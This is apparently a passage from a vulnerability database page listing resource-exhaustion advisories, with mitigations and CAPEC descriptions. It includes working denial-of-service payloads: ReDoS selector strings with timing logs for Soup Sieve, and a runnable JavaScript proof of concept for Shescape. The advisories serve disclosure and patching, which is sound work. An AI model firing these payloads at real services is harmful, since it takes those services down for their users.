[SelectorSyntaxError]\n n=2000 len=2003 504.7 ms [SelectorSyntaxError]\n n=4000 len=4003 2031.9 ms [SelectorSyntaxError]\n n=8000 len=8003 8091.3 ms [SelectorSyntaxError]\n\nPayload B: \u0027a\u0027*n + \u0027!\u0027 (identifier run + invalid trailing char)\n n=2000 len=2001 79.7 ms [SelectorSyntaxError]\n n=4000 len=4001 322.9 ms [SelectorSyntaxError]\n n=8000 len=8001 1328.9 ms [SelectorSyntaxError]\n n=16000 len=16001 5379.4 ms [SelectorSyntaxError]\n\n[+] Single call: compile(\u0027[a=\u0027 + \u0027a\u0027*12000) (len=12003)\n[+] wall time = 18.28 s [SelectorSyntaxError]\n```\n\n## Evidence \u2014 published 2.8.4 (verbatim `poc/evidence_redos_compile_PUBLISHED_2.8.4.log`)\n\n```\nsoupsieve 2.8.4\nPayload A: \u0027[a=\u0027 + \u0027a\u0027*n\n n=1000 len=1003 113.9 ms [SelectorSyntaxError]\n n=2000 len=2003 457.2 ms [SelectorSyntaxError]\n n=4000 len=4003 1816.8 ms [SelectorSyntaxError]\n n=8000 len=8003 7299.0 ms [SelectorSyntaxError]\n[+] Single call: compile(\u0027[a=\u0027 + \u0027a\u0027*12000) wall time = 16.57 s [SelectorSyntaxError]\n```\n\n## Impact \u2014 calibrated\n\n- Confirmed: quadratic CPU consumption per `compile()`/`select()` call on an attacker-controlled selector. ~8 KB \u2192 ~8 s; ~12 KB \u2192 ~17 s; scaling ~\u00d74 per input doubling. A handful of such requests exhausts a worker/thread and degrades or stalls the service (single-threaded regex holds the GIL).\n- Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.\n- NOT claimed: exponential blowup, memory corruption, or code execution. This is strictly an availability (DoS) issue, and only where selectors are attacker-influenced. Applications using only fixed selectors are unaffected \u2014 stated to avoid inflation.\n\n## Remediation\n\n- Remove the adjacent-quantifier ambiguity in `IDENTIFIER`: match a single leading non-digit character then the remaining class once, e.g. `(?:-?(?:[classA]|ESC)(?:[classB]|ESC)*|--(?:[classB]|ESC)*)`, so no `+`/`*` pair spans the same characters.\n- Alternatively use atomic grouping / possessive quantifiers where supported (`(?\u003e...)`, `*+`) to forbid backtracking into the identifier run.\n- Defense-in-depth: cap selector length before compiling (reject selectors beyond a sane bound), since CSS selectors are realistically short.",
"id": "GHSA-gjv8-xp57-g29c",
"modified": "2026-09-17T20:32:58Z",
"published": "2026-09-17T20:32:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/facelessuser/soupsieve/security/advisories/GHSA-gjv8-xp57-g29c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86000"
},
{
"type": "WEB",
"url": "https://github.com/facelessuser/soupsieve/commit/ce44e4996e6632871c18cdd7a7fb641be8ef34ef"
},
{
"type": "PACKAGE",
"url": "https://github.com/facelessuser/soupsieve"
},
{
"type": "WEB",
"url": "https://github.com/facelessuser/soupsieve/releases/tag/2.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Soup Sieve: Polynomial-time ReDoS (O(n\u00b2)) in the `IDENTIFIER` / `VALUE` selector sub-patterns"
}
GHSA-GM3R-Q2WP-HW87
Vulnerability from github – Published: 2026-07-24 22:35 – Updated: 2026-08-12 19:40Impact
This impacts users of Shescape that have flag protection enabled, which is on by default, regardless of the API being used.
An attacker can cause a runtime quadratic in the input size, causing denial of service for large inputs.
import { Shescape } from "shescape";
// 1. Prerequisites
const options = {
//flagProtection unspecified
// Or
flagProtection: true,
};
// 2. Payload
let payload = "\u0000-".repeat(32000);
// 3. Usage
const shescape = new Shescape(options);
let callback;
callback = () => shescape.escape(payload);
// Or
callback = () => shescape.escapeAll([payload]);
// Or
callback = () => shescape.quote(payload);
// Or
callback = () => shescape.quoteAll([payload]);
const t0 = process.hrtime.bigint();
callback();
const ms = Number(process.hrtime.bigint() - t0) / 1e6;
// 4. Impact
console.log("Duration:", ms);
// Outputs "Duration:" followed by a number close to 20000
Patches
This bug has been patched in [v2.1.14] and [v3.0.1] which you can upgrade to now.
If you are already using v3 of Shescape, no further changes are required. If you are using v2 of Shescape it is recommended to upgrade as this version reaches end-of-life status on 2026-09-28, follow the [migration guide] to upgrade to v3.
No patches will be released for version of Shescape lower than v2.0.0.
Workarounds
Alternatively, users of Shescape can 1) put restrictions on the length of untrusted input or 2) strip all content before the last - from untrusted inputs.
For more information
- Comment on Pull Request [#2651] for v2 and [#2649] for v3
- Comment on commit [b4b34c3] for v2 and [43d70b5] for v3
- Open an issue at https://github.com/ericcornelissen/shescape/issues (New issue > Question)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "shescape"
},
"ranges": [
{
"events": [
{
"introduced": "2.1.11"
},
{
"fixed": "2.1.14"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "shescape"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-73413"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T22:35:08Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\n\nThis impacts users of Shescape that have flag protection enabled, which is on by default, regardless of the API being used.\n\nAn attacker can cause a runtime quadratic in the input size, causing denial of service for large inputs.\n\n```javascript\nimport { Shescape } from \"shescape\";\n\n// 1. Prerequisites\nconst options = {\n //flagProtection unspecified\n // Or\n flagProtection: true,\n};\n\n// 2. Payload\nlet payload = \"\\u0000-\".repeat(32000);\n\n// 3. Usage\nconst shescape = new Shescape(options);\nlet callback;\n\ncallback = () =\u003e shescape.escape(payload);\n// Or\ncallback = () =\u003e shescape.escapeAll([payload]);\n// Or\ncallback = () =\u003e shescape.quote(payload);\n// Or\ncallback = () =\u003e shescape.quoteAll([payload]);\n\nconst t0 = process.hrtime.bigint();\ncallback();\nconst ms = Number(process.hrtime.bigint() - t0) / 1e6;\n\n// 4. Impact\nconsole.log(\"Duration:\", ms);\n// Outputs \"Duration:\" followed by a number close to 20000\n```\n\n### Patches\n\nThis bug has been patched in [v2.1.14] and [v3.0.1] which you can upgrade to now.\n\nIf you are already using v3 of Shescape, no further changes are required. If you are using v2 of Shescape it is recommended to upgrade as this version reaches end-of-life status on 2026-09-28, follow the [migration guide] to upgrade to v3.\n\nNo patches will be released for version of Shescape lower than v2.0.0.\n\n### Workarounds\n\nAlternatively, users of Shescape can 1) put restrictions on the length of untrusted input or 2) strip all content before the **last** `-` from untrusted inputs.\n\n### For more information\n\n- Comment on Pull Request [#2651] for v2 and [#2649] for v3\n- Comment on commit [b4b34c3] for v2 and [43d70b5] for v3\n- Open an issue at \u003chttps://github.com/ericcornelissen/shescape/issues\u003e (New issue \u003e Question)",
"id": "GHSA-gm3r-q2wp-hw87",
"modified": "2026-08-12T19:40:52Z",
"published": "2026-07-24T22:35:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ericcornelissen/shescape/security/advisories/GHSA-gm3r-q2wp-hw87"
},
{
"type": "WEB",
"url": "https://github.com/ericcornelissen/shescape/pull/2649"
},
{
"type": "WEB",
"url": "https://github.com/ericcornelissen/shescape/pull/2651"
},
{
"type": "WEB",
"url": "https://github.com/ericcornelissen/shescape/commit/43d70b59d09bbe5c3fd02ef08b3a123e977ed9de"
},
{
"type": "WEB",
"url": "https://github.com/ericcornelissen/shescape/commit/b4b34c394e7f9da2775bb75381066b9a228c425f"
},
{
"type": "PACKAGE",
"url": "https://github.com/ericcornelissen/shescape"
},
{
"type": "WEB",
"url": "https://github.com/ericcornelissen/shescape/blob/dea8893a5877893d8d4923dbf253080e08899e6d/docs/migration.md"
},
{
"type": "WEB",
"url": "https://github.com/ericcornelissen/shescape/releases/tag/v2.1.14"
},
{
"type": "WEB",
"url": "https://github.com/ericcornelissen/shescape/releases/tag/v3.0.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Shescape: Quadratic-time denial of service in the flag-protection"
}
GHSA-GM5R-35XQ-QR9C
Vulnerability from github – Published: 2023-02-12 06:30 – Updated: 2023-02-21 21:30In log service, there is a missing permission check. This could lead to local denial of service in log service.
{
"affected": [],
"aliases": [
"CVE-2022-47356"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-12T04:15:00Z",
"severity": "MODERATE"
},
"details": "In log service, there is a missing permission check. This could lead to local denial of service in log service.",
"id": "GHSA-gm5r-35xq-qr9c",
"modified": "2023-02-21T21:30:19Z",
"published": "2023-02-12T06:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-47356"
},
{
"type": "WEB",
"url": "https://www.unisoc.com/en_us/secy/announcementDetail/1621031430231134210"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GM5R-P3X6-43H6
Vulnerability from github – Published: 2023-09-22 06:30 – Updated: 2024-04-04 07:48In nqptp-message-handlers.c in nqptp before 1.2.3, crafted packets received on the control port could crash the program.
{
"affected": [],
"aliases": [
"CVE-2023-43771"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-22T06:15:10Z",
"severity": "MODERATE"
},
"details": "In nqptp-message-handlers.c in nqptp before 1.2.3, crafted packets received on the control port could crash the program.",
"id": "GHSA-gm5r-p3x6-43h6",
"modified": "2024-04-04T07:48:15Z",
"published": "2023-09-22T06:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43771"
},
{
"type": "WEB",
"url": "https://github.com/mikebrady/nqptp/commit/b24789982d5cc067ecf6e8f3352b701d177530ec"
},
{
"type": "WEB",
"url": "https://github.com/mikebrady/nqptp/releases/tag/1.2.3"
},
{
"type": "WEB",
"url": "https://github.com/mikebrady/nqptp/releases/tag/1.2.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GM99-G636-34FH
Vulnerability from github – Published: 2026-01-28 18:30 – Updated: 2026-01-29 18:31A device-ID validation flaw in OneFlow v0.9.0 allows attackers to cause a Denial of Service (DoS) by calling flow.cuda.synchronize() with an invalid or out-of-range GPU device index.
{
"affected": [],
"aliases": [
"CVE-2025-65890"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-28T17:16:08Z",
"severity": "HIGH"
},
"details": "A device-ID validation flaw in OneFlow v0.9.0 allows attackers to cause a Denial of Service (DoS) by calling flow.cuda.synchronize() with an invalid or out-of-range GPU device index.",
"id": "GHSA-gm99-g636-34fh",
"modified": "2026-01-29T18:31:42Z",
"published": "2026-01-28T18:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65890"
},
{
"type": "WEB",
"url": "https://github.com/Oneflow-Inc/oneflow/issues/10662"
},
{
"type": "WEB",
"url": "https://github.com/Daisy2ang"
},
{
"type": "WEB",
"url": "https://github.com/Oneflow-Inc/oneflow"
},
{
"type": "WEB",
"url": "http://oneflow.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.